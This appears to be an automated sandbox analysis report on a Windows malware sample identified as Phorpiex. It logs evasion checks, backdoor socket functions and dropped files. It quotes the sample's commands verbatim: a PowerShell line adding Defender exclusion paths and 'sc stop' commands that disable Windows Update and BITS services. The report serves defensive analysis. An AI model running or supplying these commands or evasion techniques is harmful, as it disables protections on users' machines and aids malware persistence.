Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Contains functionality to detect sleep reduction / modifications
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_0040D770 1_2_0040D770
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_0040D770 2_2_0040D770
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_0040D770 17_2_0040D770
Found evasive API chain (may stop execution after checking mutex)
Source: C:\Windows\sysppvrdnvs.exe Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Source: C:\Users\user\AppData\Local\Temp\33080.scr Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Source: C:\Users\user\AppData\Local\Temp\33080.scr Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess
Source: C:\Windows\sysppvrdnvs.exe Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7787 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1787 Jump to behavior
Found evaded block containing many API calls
Source: C:\Users\user\AppData\Local\Temp\33080.scr Evaded block: after key decision
Source: C:\Users\user\AppData\Local\Temp\33080.scr Evaded block: after key decision
Source: C:\Users\user\AppData\Local\Temp\33080.scr Evaded block: after key decision
Source: C:\Windows\sysppvrdnvs.exe Evaded block: after key decision
Found evasive API chain (may stop execution after accessing registry keys)
Source: C:\Users\user\AppData\Local\Temp\33080.scr Evasive API call chain: RegQueryValue,DecisionNodes,Sleep
Source: C:\Windows\sysppvrdnvs.exe Evasive API call chain: RegQueryValue,DecisionNodes,Sleep
Source: C:\Users\user\AppData\Local\Temp\33080.scr Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\sysppvrdnvs.exe Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\33080.scr API coverage: 3.7 %
Source: C:\Windows\sysppvrdnvs.exe API coverage: 0.9 %
May check if the current machine is a sandbox (GetTickCount - Sleep)
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_0040D770 17_2_0040D770
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_0040D770 1_2_0040D770
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\sysppvrdnvs.exe TID: 340 Thread sleep time: -40000s >= -30000s Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe TID: 340 Thread sleep count: 111 > 30 Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe TID: 4180 Thread sleep time: -53205s >= -30000s Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe TID: 6968 Thread sleep time: -31490s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5660 Thread sleep count: 7787 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4416 Thread sleep count: 1787 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7020 Thread sleep time: -6456360425798339s >= -30000s Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\sc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\SysWOW64\sc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\sc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\sc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose, 1_2_004068E0
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW, 1_2_004067A0
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose, 2_2_004068E0
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW, 2_2_004067A0
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose, 17_2_004068E0
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW, 17_2_004067A0
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect, 1_2_00402020
Source: C:\Windows\sysppvrdnvs.exe Thread delayed: delay time: 40000 Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Thread delayed: delay time: 53205 Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Thread delayed: delay time: 31490 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000135B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000130E000.00000004.00000020.00020000.00000000.sdmp, Bjl3geiFEK.exe, 00000000.00000002.1807520857.0000000001379000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000064A000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903094197.000000000065F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000069F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1937078841.000000000069F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903094197.000000000069F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903798515.000000000065F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903798515.000000000069F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000135B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.0000000000688000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903094197.0000000000688000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903798515.0000000000688000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWF2od
Source: C:\Users\user\AppData\Local\Temp\33080.scr API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\33080.scr API call chain: ExitProcess graph end node
Source: C:\Windows\sysppvrdnvs.exe API call chain: ExitProcess graph end node
Source: C:\Windows\sysppvrdnvs.exe API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Code function: 0_2_004B1DE8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess, 0_2_004B1DE8
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Code function: 0_2_004B10B0 Sleep,DeleteFileW,FindWindowA,MoveFileW,DeleteFileW,FindWindowA,MoveFileW,DeleteFileW,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,srand,mbstowcs,mbstowcs,wsprintfW,wsprintfW,PathFileExistsW,mbstowcs,mbstowcs,rand,wsprintfW,mbstowcs,mbstowcs,URLDownloadToFileW,ShellExecuteW,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary, 0_2_004B10B0
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_0040A890 GetProcessHeaps, 1_2_0040A890
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Code function: 0_2_004B1DE8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess, 0_2_004B1DE8

HIPS / PFW / Operating System Protection Evasion
barindex
Adds a directory exclusion to Windows Defender
Source: C:\Windows\sysppvrdnvs.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Source: C:\Windows\sysppvrdnvs.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE" Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Process created: C:\Users\user\AppData\Local\Temp\33080.scr "C:\Users\user\AppData\Local\Temp\33080.scr" /S Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE" Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop WaaSMedicSvc Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop DoSvc Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop BITS /wait Jump to behavior
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: GetLocaleInfoA,strcmp, 1_2_0040F1B0
Source: C:\Windows\sysppvrdnvs.exe Code function: GetLocaleInfoA,strcmp, 2_2_0040F1B0
Source: C:\Windows\sysppvrdnvs.exe Code function: GetLocaleInfoA,strcmp, 17_2_0040F1B0
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Code function: 0_2_004B1D18 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter, 0_2_004B1D18

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Changes security center settings (notifications, updates, antivirus, firewall)
Source: C:\Windows\sysppvrdnvs.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center FirewallOverride Jump to behavior
Stops critical windows services
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop DoSvc
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop BITS /wait

Remote Access Functionality
barindex
Yara detected Phorpiex
Source: Yara match File source: 18.0.818921588.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.33080.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.33080.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.818921588.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 33080.scr PID: 7112, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sysppvrdnvs.exe PID: 3060, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sysppvrdnvs.exe PID: 4628, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 818921588.exe PID: 1516, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe, type: DROPPED
Source: Yara match File source: C:\Windows\sysppvrdnvs.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\33080.scr, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\818921588.exe, type: DROPPED
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread, 1_2_00401470
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect, 1_2_00402020
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_0040E190 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket, 1_2_0040E190
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_004013B0 CreateEventA,socket,bind,CreateThread, 1_2_004013B0
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread, 2_2_00401470
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect, 2_2_00402020
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_0040E190 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket, 2_2_0040E190
